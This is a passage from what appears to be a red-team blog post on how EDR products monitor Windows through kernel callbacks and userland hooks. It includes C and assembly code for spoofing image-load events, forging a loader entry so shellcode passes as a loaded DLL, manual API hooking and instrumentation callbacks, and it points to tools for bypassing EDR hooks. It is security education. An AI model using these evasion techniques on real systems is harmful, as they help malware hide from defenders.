and scalable infrastructure. - **PreEmpt**: A pseudo-EDR which has the capability to digest EtwTi, memory scanners, hooks, and so on. Although this is not public, code will be shared when necessary. These two tools will allow us to generate proof-of-concept data when required. ## Important Concepts Similar to Maelstrom: Writing a C2 Implant, we want to have a section dedicated to clearing up some topics we feel need some background before moving on. ### What do we mean by Endpoint Detection and Response Endpoint Detection and Response (EDR) software goes by a number of different acronyms, and there may well be distinctions between different companies' programs and their functionality. For the sake of simplicity, we are calling all programs that are limited to scanning files on disk statically "anti-virus", and all programs that go further and scan device memory, look at the behavior of programs while they are running, and respond to threats as they happen "EDRs". These may be called various names, including XDR, MDR, or just plain AV. Throughout this series, as we have done so far, we will be sticking with "EDR". A good overview of this is CrowdStrike's post "What is Endpoint Detection and Response (EDR)": > Endpoint Detection and Response (EDR), also referred to as endpoint detection and threat response (EDTR), is an endpoint security solution that continuously monitors end-user devices to detect and respond to cyber threats like ransomware and malware. Coined by Gartner’s Anton Chuvakin, EDR is defined as a solution that “records and stores endpoint-system-level behaviors, uses various data analytics techniques to detect suspicious system behavior, provides contextual information, blocks malicious activity, and provides remediation suggestions to restore affected systems.” Because it's relevant to this post, the next section will look at EDR architecture and comparing EDR behaviors across the various vendors. Without going hugely off-topic, we won't look at a number of also relevant areas, such as how Anti-Virus works, how disk-based protection may work to also stymie your implant execution (if you're still running on disk), and how AV and EDR actually go about scanning files and their behaviors while they are doing so. Turns out, that's like, a whole field of study. ### Common EDR Architecture When discussing endpoint protection, it may help to be somewhat familiar with their architecture. The Symantec EDR Architecture looks something like this: A similar approach can be seen for Defender for Endpoint. Essentially, a device with the product installed will have an agent which can consist of several drivers and processes, which gather telemetry from various aspects of the machine. Through this post and the next, we will go over a few of those. As an aside, in a Windows environment, Microsoft inherently has an edge here. While this is currently aimed at "Large Enterprise" customers (or at least, we assume, given their price point for Azure!), Microsoft's Defender and new Defender MDE can both access Microsoft's knowledge of their own operating system, but also influence the development of new operating system functionality. Long-term, it wouldn't be a surprise to see Microsoft Defender MDE impact the EDR market in a similar way that Microsoft Defender impacted the anti-virus market. The general gist of all EDR is that telemetry from the agent is sent to the cloud where it's run through various sandboxes and other test devices, and its behavior can be further analyzed by machine and human operators. ### Briefly Reviewing and Comparing EDR Behavior at a High Level Without going hugely off-topic, just as how not every red team assessment is a red team, not every EDR is an EDR. The following "Gartner Magic Quadrant", from Gartner's May 2021 Report roughly maps out the EDR landscape. It's worth noting that CrowdStrike's hire of Alex Ionescu (a maintainer for the Kernel in ReactOS) demonstrates that the current best-in-class EDRs heavily leverage knowledge of internal Windows functionality to maximize their performance. With so much of EDR functionality relying on implementing the methods we will discuss here such as custom-written direct behaviors like kernel callbacks and hooking, being able to quickly implement new Microsoft Windows features and develop your own custom ways of reliably interacting with and interrupting malicious processes seems to be the distinguishing feature of a modern EDR from its peers. Another metric that EDR Vendors tend to use, especially because the reports are made so public, is the Mitre Enginuity. The Attack Evaluations is described as thus: > The MITRE Engenuity ATT&CK® Evaluations (Evals) program brings together product and service providers with MITRE experts to collaborate in evaluating security solutions. The Evals process applies a systematic methodology using a threat-informed purple teaming approach to capture critical context around a solution’s ability to detect or protect against known adversary behavior as defined by the ATT&CK knowledge base. Results from each evaluation are thoroughly documented and openly published. For example, with SentinelOne, their results can be seen in: SentinelOne Overview. The overview goes through APT scenarios and marks whether or not the technique was detected and can be used as a tracker for its "effectiveness". However, some have expressed feelings online that this is not a thorough way to determine the effectiveness of the product. When looking at EDRs from a purchasing perspective, there are a few methods of determining effectiveness and we wanted to briefly highlight them here. The main thing to consider is that some vendors do not necessarily provide more functionality than an anti-virus. As with any product, ensure that you purchase the right solution for your business's needs. ### User-land and Kernel-land When discussing the kernel and user-land model, the following architectural image familiar to any Computer Science graduate will be used: A big majority of user activity will occur at ring 3, User Mode; surprisingly, the Kernel operates within Kernel Mode. For more information on this, see Windows Programming/User Mode vs Kernel Mode. A worthwhile note is that crossover between user mode and kernel mode can and does happen. The following definitions from the previous link summarize the differences between these layers: - Ring 0 (also known as kernel mode) has full access to every resource. It is the mode in which the Windows kernel runs. - Rings 1 and 2 can be customized with levels of access but are generally unused unless there are virtual machines running. - Ring 3 (also known as user mode) has restricted access to resources. Again, to save this post from being longer than it already is, see the Overview of Windows Components documentation for more detail on the following diagram. However, it's simply showing the Windows architecture from processes, services, etc., crossing over to the Kernel. Applications that use the WinAPI will traverse through to the Native API (NTAPI) which operates within Kernel Mode. As an example, API Monitor can be used to look at the calls being executed: The above shows `CreateThread` being called and then, subsequently, `NtCreateThreadEx` being called shortly after. When a function within KERNEL32.DLL is called, for example `CreateThread`, it will make a subsequent call to the NTAPI equivalent in NTDLL.DLL. For example, `CreateThread` calls `NtCreateThreadEx`. This function will then fill the RAX register with the System Service Number (SSN). Finally, NTDLL.dll will then issue a SYSENTER instruction. This will then cause the processor to switch to kernel mode and jump to a predefined function, called the System Service Dispatcher. ### Drivers A driver is a software component of Windows which allows the operating system and device to communicate with each other. Here is an example from What is a driver?: > For example, suppose an application needs to read some data from a device. The application calls a function implemented by the operating system, and the operating system calls a function implemented by the driver. The driver, which was written by the same company that designed and manufactured the device, knows how to communicate with the device hardware to get the data. After the driver gets the data from the device, it returns the data to the operating system, which returns it to the application. In the case of Endpoint Protection, there are a few reasons why drivers are useful: - The use of Callback Objects which allows for a function to be called if an action occurs. For example, later on we will see the usage of `PsSetLoadImageNotifyRoutine` which is the callback object for DLLs being loaded. - Access to privileged information from Event Tracing for Windows Threat Intelligence which is only accessible from the Kernel with an ELAM Driver. ### Hooks **DISCLAIMER**: Before moving on, we highly recommend watching REcon 2015 - Hooking Nirvana (Alex Ionescu). Please come back to this post after. Another common feature of EDRs are the Userland Hooking DLLs. Typically, these are loaded into a process on creation and are used to proxy WinAPI Calls through themselves to assess the usage, then redirect onto whichever DLL is being used. As an example, if `VirtualAlloc` was being used, the flow would look something like this: A hook allows for function instrumentation by intercepting WinAPI calls, by placing a `jmp` instruction in place of the function address. This `jmp` will redirect the flow of a call. We will take a look at this in action in the following section. By hooking a function call, it gives the author the ability to: - Assess arguments - Allow Execution - Block Execution This isn't an exhaustive list, but should serve to demonstrate the functionality which we will be coming across most when running our implants. Examples of this in use are: - Understanding and Bypassing AMSI: Bypass AMSI by hooking the `AmsiScanBuffer` call - RDPThief: Intercept and read credentials from RDP - Windows API Hooking: Redirect `MessageBoxA` - Import Address Table (IAT) Hooking: Redirect `MessageBoxA` - Intercepting Logon Credentials by Hooking `msv1_0!SpAcceptCredentials`: Intercept and read credentials from `msv1_0!SpAcceptCredentials` - Protecting the Heap: Encryption & Hooks: Hook `RtlAllocateHeap`, `RtlReAllocateHeap`, and `RtlFreeHeap` to monitor heap allocations - `LdrLoadDll` Hook: Prevent DLLs from being loaded ## Hunting ELK To access our kernel callbacks without having to write all of that intimidating logic from scratch, we will be using The Hunting ELK (HELK): The Hunting ELK or simply the HELK is one of the first open-source hunt platforms with advanced analytics capabilities such as SQL declarative language, graphing, structured streaming, and even machine learning via Jupyter notebooks and Apache Spark over an ELK stack. This project was developed primarily for research, but due to its flexible design and core components, it can be deployed in larger environments with the right configurations and scalable infrastructure. We also use the following script from Exploring DLL Loads, Links, and Execution to search through the Sysmon logs: ```powershell param ( [string]$Loader = "", [string]$dll = "" ) $eventId = 7 $logName = "Microsoft-Windows-Sysmon/Operational" $Yesterday = (Get-Date).AddHours(-1) $events = Get-WinEvent -FilterHashtable @{logname=$logName; id=$eventId; StartTime = $Yesterday;} foreach($event in $events) { $msg = $event.Message.ToString() $image = ($msg | Select-String -Pattern 'Image:.*').Matches.Value.Replace("Image: ", "") $imageLoaded = ($msg | Select-String -Pattern 'ImageLoaded:.*').Matches.Value.Replace("ImageLoaded: ", "") if($image.ToLower().contains($Loader.ToLower()) -and $imageLoaded.ToLower().Contains($dll.ToLower())) { Write-Host Image Loaded $imageLoaded } } ``` ### Kernel Callbacks Kernel Callbacks, according to Microsoft: > The kernel's callback mechanism provides a general way for drivers to request and provide notification when certain conditions are satisfied. Essentially, they allow drivers to receive and handle notifications for specific events. From `veil-ivy/block_create_process.cpp`, here is an implementation of using the `PsSetLoadImageNotifyRoutine` Callback to BLOCK process creation: ```c #include <ntddk.h> #define BLOCK_PROCESS "notepad.exe" static OB_CALLBACK_REGISTRATION obcallback_registration; static OB_OPERATION_REGISTRATION oboperation_callback; #define PROCESS_CREATE_THREAD (0x0002) #define PROCESS_CREATE_PROCESS (0x0080) #define PROCESS_TERMINATE (0x0001) #define PROCESS_VM_WRITE (0x0020) #define PROCESS_VM_READ (0x0010) #define PROCESS_VM_OPERATION (0x0008) #define PROCESS_SUSPEND_RESUME (0x0800) static PVOID registry = NULL; static UNICODE_STRING altitude = RTL_CONSTANT_STRING(L"300000"); //1: kd > dt nt!_EPROCESS ImageFileName //+ 0x5a8 ImageFileName : [15] UChar static const unsigned int imagefilename_offset = 0x5a8; auto drv_unload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); ObUnRegisterCallbacks(registry); } OB_PREOP_CALLBACK_STATUS PreOperationCallback( _In_ PVOID RegistrationContext, _Inout_ POB_PRE_OPERATION_INFORMATION PreInfo ) { UNREFERENCED_PARAMETER(RegistrationContext); if (strcmp(BLOCK_PROCESS, (char*)PreInfo->Object + imagefilename_offset) == 0) { if ((PreInfo->Operation == OB_OPERATION_HANDLE_CREATE)) { if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_TERMINATE) == PROCESS_TERMINATE) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE; } if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_READ) == PROCESS_VM_READ) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ; } if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_OPERATION) == PROCESS_VM_OPERATION) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION; } if ((PreInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_WRITE) == PROCESS_VM_WRITE) { PreInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_WRITE; } } } return OB_PREOP_SUCCESS; } VOID PostOperationCallback( _In_ PVOID RegistrationContext, _In_ POB_POST_OPERATION_INFORMATION PostInfo ) { UNREFERENCED_PARAMETER(RegistrationContext); UNREFERENCED_PARAMETER(PostInfo); } extern "C" auto DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) -> NTSTATUS { UNREFERENCED_PARAMETER(RegistryPath); DriverObject->DriverUnload = drv_unload; auto status = STATUS_SUCCESS; static OB_CALLBACK_REGISTRATION ob_callback_register; static OB_OPERATION_REGISTRATION oboperation_registration; oboperation_registration.Operations = OB_OPERATION_HANDLE_CREATE; oboperation_registration.ObjectType = PsProcessType; oboperation_registration.PreOperation = PreOperationCallback; oboperation_registration.PostOperation = PostOperationCallback; ob_callback_register.Altitude = altitude; ob_callback_register.Version = OB_FLT_REGISTRATION_VERSION; ob_callback_register.OperationRegistrationCount = 1; ob_callback_register.OperationRegistration = &oboperation_registration; status = ObRegisterCallbacks(&ob_callback_register, &registry); if (!NT_SUCCESS(status)) { DbgPrint("failed to register callback: %x \r\n", status); } return status; } ``` In this instance, `ObRegisterCallbacks` is being used to block the creation of `notepad`. An Endpoint Protection solution may not use it in this way, but it's very likely this type of callback will be used as telemetry to determine if malicious activity is occurring. In this section, we are going to discuss `PsSetLoadImageNotifyRoutine`. This callback is responsible for exactly what it says: Sending a notification when an image is loaded into a process. For an example implementation, see Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver. #### Triggering the callback To understand how `PsSetLoadImageNotifyRoutine` works, we need to determine what its trigger is. Assuming the following code: ```c #include <windows.h> #include <stdio.h> int main() { HMODULE hModule = LoadLibraryA("winhttp.dll"); printf("WinHTTP: 0x%p\n", hModule); return 0; } ``` When `LoadLibraryA` is called, the function registers a callback to notify the driver that this has happened. In order to see this log in HELK, we use the script we mentioned earlier on. If we filter for `main.exe`, which is the above code, we can see the `winhttp.dll` loaded: In Elastic, we can also use the following KQL: ``` process_name: "main.exe" and event_id: 7 and ImageLoaded: winhttp.dll ``` `event_original_message` holds the whole log: ``` Image loaded: RuleName: - UtcTime: 2022-04-29 18:50:10.780 ProcessGuid: {3ebcda8b-3362-626c-a200-000000004f00} ProcessId: 6716 Image: C:\Users\admin\Desktop\main.exe ImageLoaded: C:\Windows\System32\winhttp.dll FileVersion: 10.0.19041.1620 (WinBuild.160101.0800) Description: Windows HTTP Services Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: winhttp.dll Hashes: SHA1=4F2A9BB575D38DBDC8DBB25A82BDF1AC0C41E78C, MD5=FB2B6347C25118C3AE19E9903C85B451, SHA Signed: true Signature: Microsoft Windows SignatureStatus: Valid User: PUNCTURE\admin ``` To see what this is doing, we can float through the ReactOS source code. This is good to get some familiarity with how this would work. However, in Bypassing Image Load Kernel Callbacks, by batsec, identifies that the trigger is in `NtCreateSection` call which is then called in the `LdrpCreateDllSection`. So, we don't need to spend too much time debugging to find this. #### Spoofing Loads In the article from batsec, they show that the aforementioned events can be spammed with the following code: ```c #include <stdio.h> #include <windows.h> #include <winternl.h> #define DLL_TO_FAKE_LOAD L"\\??\\C:\\windows\\system32\\calc.exe" BOOL FakeImageLoad() { HANDLE hFile; SIZE_T stSize = 0; NTSTATUS ntStatus = 0; UNICODE_STRING objectName; HANDLE SectionHandle = NULL; PVOID BaseAddress = NULL; IO_STATUS_BLOCK IoStatusBlock; OBJECT_ATTRIBUTES objectAttributes = { 0 }; RtlInitUnicodeString(&objectName, DLL_TO_FAKE_LOAD); InitializeObjectAttributes(&objectAttributes, &objectName, OBJ_CASE_INSENSITIVE, NULL, NULL); ntStatus = NtOpenFile(&hFile, 0x100021, &objectAttributes, &IoStatusBlock, 5, 0x60); ntStatus = NtCreateSection(&SectionHandle, 0xd, NULL, NULL, 0x10, SEC_IMAGE, hFile); ntStatus = NtMapViewOfSection(SectionHandle, (HANDLE)0xFFFFFFFFFFFFFFFF, &BaseAddress, NULL, NULL, NULL, &stSize, 0x1, 0x800000, 0x80); NtClose(SectionHandle); } int main() { for (INT i = 0; i < 10000; i++) { FakeImageLoad(); } return 0; } ``` The following screenshot is also from that blog post: batsec identified that by making the call to `NtCreateSection`, the event can be spammed whilst not actually loading a DLL. Similarly, the spoof can be somewhat weaponized/manipulated to do other things by updating the `LDR_DATA_TABLE_ENTRY` struct: ```c typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; ``` In this example, we will use `CertEnroll.dll` for no reason at all: ```c UNICODE_STRING uFullPath; UNICODE_STRING uFileName; WCHAR* dllPath = L"C:\\Windows\\System32\\CertEnroll.dll"; WCHAR* dllName = L"CertEnroll.dll"; RtlInitUnicodeString(&uFullPath, dllPath); RtlInitUnicodeString(&uFileName, dllName); ``` Now we just need to step through the struct and fill out the required information: - Load Time: ```c status = NtQuerySystemTime(&pLdrEntry2->LoadTime); ``` - Load Reason (LDR_DLL_LOAD_REASON): ```c pLdrEntry2->LoadReason = LoadReasonDynamicLoad; ``` - Because the Loader needs a module base address, we'll just load shellcode for `CALC.EXE` here (we'll discuss this part more afterwards): ```c SIZE_T bufSz = sizeof(buf); LPVOID pAddress = VirtualAllocEx(hProcess, 0, bufSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(pAddress, buf, sizeof(buf)); ``` - Hashed Base Name (RtlHashUnicodeString): ```c pLdrEntry2->BaseNameHashValue = UnicodeToHash(uFileName, FALSE); ``` - Fill out the rest of the struct: ```c pLdrEntry2->ImageDll = TRUE; pLdrEntry2->LoadNotificationsSent = TRUE; pLdrEntry2->EntryProcessed = TRUE; pLdrEntry2->InLegacyLists = TRUE; pLdrEntry2->InIndexes = TRUE; pLdrEntry2->ProcessAttachCalled = TRUE; pLdrEntry2->InExceptionTable = FALSE; pLdrEntry2->OriginalBase = (ULONG_PTR)pAddress; pLdrEntry2->DllBase = pAddress; pLdrEntry2->SizeOfImage = 6969; pLdrEntry2->TimeDateStamp = 0; pLdrEntry2->BaseDllName = uFileName; pLdrEntry2->FullDllName = uFullPath; pLdrEntry2->ObsoleteLoadCount = 1; pLdrEntry2->Flags = LDRP_IMAGE_DLL | LDRP_ENTRY_INSERTED | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED; ``` - Complete the `DdagNode` struct: ```c pLdrEntry2->DdagNode = (PLDR_DDAG_NODE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LDR_DDAG_NODE)); if (!pLdrEntry2->DdagNode) { return -1; } pLdrEntry2->NodeModuleLink.Flink = &pLdrEntry2->DdagNode->Modules; pLdrEntry2->NodeModuleLink.Blink = &pLdrEntry2->DdagNode->Modules; pLdrEntry2->DdagNode->Modules.Flink = &pLdrEntry2->NodeModuleLink; pLdrEntry2->DdagNode->Modules.Blink = &pLdrEntry2->NodeModuleLink; pLdrEntry2->DdagNode->State = LdrModulesReadyToRun; pLdrEntry2->DdagNode->LoadCount = 1; ``` Here it is in action: In the above, `CertEnroll.dll` can be seen loaded in the `spoof-load.exe` process. Remember, this is not loaded. The only thing that happened here is that a string for that DLL was passed in. We then told the loader that the base address of the DLL is that of the shellcode. ### Bypassing the Callback We aren't going to reinvent the wheel here; it's explained wonderfully in Bypassing Image Load Kernel Callbacks. Essentially, to cause the callback to not trigger, a full loader needs to be rewritten. The conclusion to that research was `DarkLoadLibrary`: > In essence, `DarkLoadLibrary` is an implementation of `LoadLibrary` that will not trigger image load events. It also has a ton of extra features that will make life easier during malware development. A proof-of-concept usage of this library was taken from DLL Shenanigans. Let's inspect it: Then the above 3 commands are run: - `dark-loader` uses the `LOAD_LOCAL_FILE` flag to load a disk from disk, as `LoadLibraryA` does. - The Image Load logs are searched for Kernel32 to make sure logs were found. - `winhttp.dll` was searched, and nothing returned. To avoid the call to `NtCreateSection` which was identified to be registering the callback, the section mapping is done with `NtAllocateVirtualMemory` or `VirtualAlloc`, as seen in `MapSections()`. ### Kernel Callback Conclusion Obviously, `PsSetLoadImageNotifyRoutine` is not the only callback, and there are quite a few other callbacks readily available. Kernel Callback Functions has a (non-comprehensive!) list: - `CmRegisterCallbackEx()` - `ExAllocateTimer()` - `ExInitializeWorkItem()` - `ExRegisterCallback()` - `FsRtlRegisterFileSystemFilterCallbacks()` - `IoInitializeThreadedDpcRequest()` - `IoQueueWorkItem()` - `IoRegisterBootDriverCallback()` - `IoRegisterContainerNotification()` - `IoRegisterFsRegistrationChangeEx()` - `IoRegisterFsRegistrationChangeMountAware()` - `IoSetCompletionRoutineEx()` - `IoWMISetNotificationCallback()` - `KeExpandKernelStackAndCalloutEx()` - `KeInitializeApc()` - `KeInitializeDpc()` - `KeRegisterBugCheckCallback()` - `KeRegisterBugCheckReasonCallback()` - `KeRegisterNmiCallback()` - `KeRegisterProcessorChangeCallback()` - `ObRegisterCallbacks()` - `PoRegisterDeviceNotify()` - `PoRegisterPowerSettingCallback()` - `PsCreateSystemThread()` - `PsSetCreateProcessNotifyRoutineEx()` - `PsSetCreateThreadNotifyRoutine()` - `PsSetLoadImageNotifyRoutine()` - `SeRegisterLogonSessionTerminatedRoutine()` - `TmEnableCallbacks()` One that would be powerful would be `PsSetCreateProcessNotifyRoutineEx()` as the notification for process creation would be crippling for system telemetry. At the time of writing, we are not aware of any research in this space. Although to be totally honest, we haven't looked. ### Hooking and Process Instrumentation In this section, we are going to look at some popular, but elementary, hooking techniques. #### Hooking Example Let's look at two examples before looking into some libraries - Manual Hooks in x86 and `NtSetProcessInformation` Callbacks. **Manual Hooks (x86)** Using Windows API Hooking as a x86 example (easier to demonstrate), we can adapt the code to look something like this: ```c #include <windows.h> #include <stdio.h> #define BYTES_REQUIRED 6 int __stdcall HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { printf("\n[ HOOKED MESSAGEBOXA ]\n"); printf("-> Arguments:\n"); printf(" 1. lpText: %s\n", lpText); printf(" 2. lpCaption: %s\n", lpCaption); printf(" 3. uType: %ld\n", uType); return 1; } void PrintHexA(char* data, int sz) { printf(" -> "); for (int i = 0; i < sz; i++) { printf("\\x%02hhX", data[i]); } printf("\n"); } int main() { SIZE_T lpNumberOfBytesRead = 0; HMODULE hModule = nullptr; FARPROC pMessageBoxAFunc = nullptr; char pMessageBoxABytes[BYTES_REQUIRED] = {}; void* pHookedMessageBoxFunc = &HookedMessageBoxA; hModule = LoadLibraryA("user32.dll"); if (!hModule) { return -1; } pMessageBoxAFunc = GetProcAddress(hModule, "MessageBoxA"); printf("-> Original MessageBoxA: 0x%p\n", pMessageBoxAFunc); if (ReadProcessMemory(GetCurrentProcess(), pMessageBoxAFunc, pMessageBoxABytes, BYTES_REQUIRED, &lpNumberOfBytesRead) == FALSE) { printf("[!] ReadProcessMemory: %ld\n", GetLastError()); return -1; } printf("-> MessageBoxA Hex:\n"); PrintHexA(pMessageBoxABytes, BYTES_REQUIRED); printf("-> Hooked MessageBoxA: 0x%p\n", pHookedMessageBoxFunc); char patch[BYTES_REQUIRED] = { 0 }; memcpy_s(patch, 1, "\x68", 1); memcpy_s(patch + 1, 4, &pHookedMessageBoxFunc, 4); memcpy_s(patch + 5, 1, "\xC3", 1); printf("-> Patch Hex:\n"); PrintHexA(patch, BYTES_REQUIRED); if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)pMessageBoxAFunc, patch, sizeof(patch), &lpNumberOfBytesRead) == FALSE) { printf("[!] WriteProcessMemory: %ld\n", GetLastError()); return -1; } MessageBoxA(NULL, "AAAAA", "BBBBB", MB_OK); return 0; } ``` Let's walk through this... First off, `MessageBoxA` is in `User32.dll` so we load that: ```c hModule = LoadLibraryA("user32.dll"); if (!hModule) { return -1; } ``` Next, we need the address of `USER32!MessageBoxA`: ```c pMessageBoxAFunc = GetProcAddress(hModule, "MessageBoxA"); ``` With that address, the bytes can now be read: ```c if (ReadProcessMemory(GetCurrentProcess(), pMessageBoxAFunc, pMessageBoxABytes, BYTES_REQUIRED, &lpNumberOfBytesRead) == FALSE) { printf("[!] ReadProcessMemory: %ld\n", GetLastError()); return -1; } ``` This will read the first 6 bytes of the function call which will later be updated to hold a push to the new function, resulting in a `jmp`. The bytes: ``` \x8B\xFF\x55\x8B\xEC\x83 ``` Now, the patch needs to be built. This is done like so: ```c char patch[BYTES_REQUIRED] = { 0 }; memcpy_s(patch, 1, "\x68", 1); memcpy_s(patch + 1, 4, &pHookedMessageBoxFunc, 4); memcpy_s(patch + 5, 1, "\xC3", 1); ``` The hex produced from this: ``` \x68\x12\x12\xBD\x00\xC3 ``` Using defuse.ca to disassemble this, the above can be translated into Assembly: ``` 0: 68 12 12 bd 00 push 0xbd1212 5: c3 ret ``` Note that `0x00BD1212` being pushed is the address of the function we want to jump to instead of the `USER32!MessageBoxA` call. The next thing is to actually write this new address in: ```c if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)pMessageBoxAFunc, patch, sizeof(patch), &lpNumberOfBytesRead) == FALSE) { printf("[!] WriteProcessMemory: %ld\n", GetLastError()); return -1; } ``` Then, in the disassembly: ``` 00BB1212 jmp HookedMessageBoxA (0BB1A80h) ``` A `jmp` is added to jump to the new function. Allowing this to run calls the hooked function and the arguments are printed: ```c int __stdcall HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { printf("\n[ HOOKED MESSAGEBOXA ]\n"); printf("-> Arguments:\n"); printf(" 1. lpText: %s\n", lpText); printf(" 2. lpCaption: %s\n", lpCaption); printf(" 3. uType: %ld\n", uType); return 1; } ``` #### NtSetProcessInformation Callbacks Setting up the callback is straightforward: ```c PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo; InstrumentationCallbackInfo.Version = 0; InstrumentationCallbackInfo.Reserved = 0; InstrumentationCallbackInfo.Callback = CALLBACK_FUNCTION_GOES_HERE; HANDLE hProcess = (HANDLE)-1; HMODULE hNtdll = GetModuleHandleA("ntdll"); if (hNtdll == nullptr) { return FALSE; } _NtSetInformationProcess pNtSetInformationProcess = reinterpret_cast<_NtSetInformationProcess>(GetProcAddress(hNtdll, "NtSetInformationProcess")); if (pNtSetInformationProcess == nullptr) { return FALSE; } NTSTATUS Status = pNtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof(InstrumentationCallbackInfo)); if (NT_SUCCESS(Status)) { return TRUE; } else { return FALSE; } ``` Where the callback function is included as follows: ```c InstrumentationCallbackInfo.Callback = CALLBACK_FUNCTION_GOES_HERE; ``` `CALLBACK_FUNCTION_GOES_HERE` is a function to use as the callback and then `ProcessInstrumentationCallback` is: ```c #define ProcessInstrumentationCallback 0x28 ``` An additional point is that by setting the callback to `NULL`, any callbacks sent will be removed. This was documented by modexp in Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. This talk was then built on by Secrary and again in Secrary's blog Hooking via InstrumentationCallback. The original code from Alex Ionescu can be found in the HookingNirvana repo. Borrowing the hooks from Secrary gives access to the function and return value, giving us the following Assembly: ```assembly .code PUBLIC asmCallback EXTERN Hook:PROC asmCallback PROC push rax ; return value push rcx push RBX push RBP push RDI push RSI push RSP push R12 push R13 push R14 push R15 ; without this it crashes :) sub rsp, 1000h mov rdx, rax mov rcx, r10 call Hook add rsp, 1000h pop R15 pop R14 pop R13 pop R12 pop RSP pop RSI pop RDI pop RBP pop RBX pop rcx pop rax jmp R10 asmCallback ENDP end ``` Hook: With the assembly written, we also need to write the function called by the assembly, allowing us to take in all of the provided registers and return their function names: ```c DWORD64 counter = 0; bool flag = false; EXTERN_C VOID Hook(DWORD64 R10, DWORD64 RAX/* ... */) { // This flag is there to prevent recursion if (!flag) { flag = true; counter++; CHAR buffer[sizeof(SYMBOL_INFO) + MAX_SYM_NAME] = { 0 }; PSYMBOL_INFO pSymbol = (PSYMBOL_INFO)buffer; pSymbol->SizeOfStruct = sizeof(SYMBOL_INFO); pSymbol->MaxNameLen = MAX_SYM_NAME; DWORD64 Displacement; // MSDN: Retrieves symbol information for the specified address. BOOLEAN result = SymFromAddr(GetCurrentProcess(), R10, &Displacement, pSymbol); if (result) { printf("%s => 0x%llx\n", pSymbol->Name, RAX); } flag = false; } } ``` Then, in `main`, `SymInitialize` is called, then the instrumentation is set: ```c int main() { SymSetOptions(SYMOPT_UNDNAME); SymInitialize(GetCurrentProcess(), NULL, TRUE); SetInstrumentationCallback(); return 0; } ``` Running this completed example, we can now see all of the function names and return codes. The hook could be updated to get access to the arguments for a full analysis, but we didn't feel the need to look into that for this initial proof-of-concept. One final mention for this technique is that it can be used to enumerate the System Service Number (SSN) for a given function call. This was documented by Paranoid Ninja in EtwTi-Syscall-Hook and Release v0.8 - Warfare Tactics, where the hook is significantly smaller (at the cost of doing far less): ```c VOID HuntSyscall(ULONG_PTR ReturnAddress, ULONG_PTR retSyscallPtr) { PVOID ImageBase = ((EtwPPEB)(((_EtwPTEB)(NtCurrentTeb()->ProcessEnvironmentBlock))))->ImageBaseAddress; PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(ImageBase); if (ReturnAddress >= (ULONG_PTR)ImageBase && ReturnAddress < (ULONG_PTR)ImageBase + NtHeaders->OptionalHeader.SizeOfImage) { printf("[+] Syscall detected: Return address: 0x%X Syscall value: 0x%X\n", ReturnAddress, retSyscallPtr); } } ``` And its companion assembly: ```assembly section .text extern HuntSyscall global hookedCallback hookedCallback: push rcx push rdx mov rdx, [r10-0x10] call HuntSyscall pop rdx pop rcx ret ``` ### Bypassing Userland Hooks Back in 2019, Cneelis published Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR which had a subsequent release of SysWhispers: > SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe). The headers will also include the necessary type definitions. Then modexp provided an update which corrected a shortcoming with version 1 and gave us SysWhispers2: > The specific implementation in SysWhispers2 is a variation of @modexpblog’s code. One difference is the function name hashes are randomized on each generation. @ElephantSe4l, who had published this technique earlier, has another implementation based in C++17 which is also worth checking out. The main change is the introduction of `base.c` which is a result of Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. And again, KlezVirus produced SysWhispers3: > The usage is pretty similar to SysWhispers2, with the following exceptions: > - It also supports x86/WoW64 > - It supports syscalls instruction replacement with an EGG (to be dynamically replaced) > - It supports direct jumps to syscalls in x86/x64 mode (in WOW64 it's almost standard) > - It supports direct jumps to random syscalls (borrowing @ElephantSeal's idea) A better explanation of these features is better outlined in the blog post SysWhispers is dead, long live SysWhispers! This is just one suite of SysCall techniques; there's a whole other technique based on Heavens Gate. See Gatekeeping Syscalls for a breakdown on these different techniques. EVEN THEN! There are more: - FreshyCalls - EtwTi-Syscall-Hook - FireWalker ## RECAP! With the ability to transition into Kernel-Mode, we have the ability to go unseen by the User-land hooks. So, let's build something. For our example, we are going to use MinHook: > 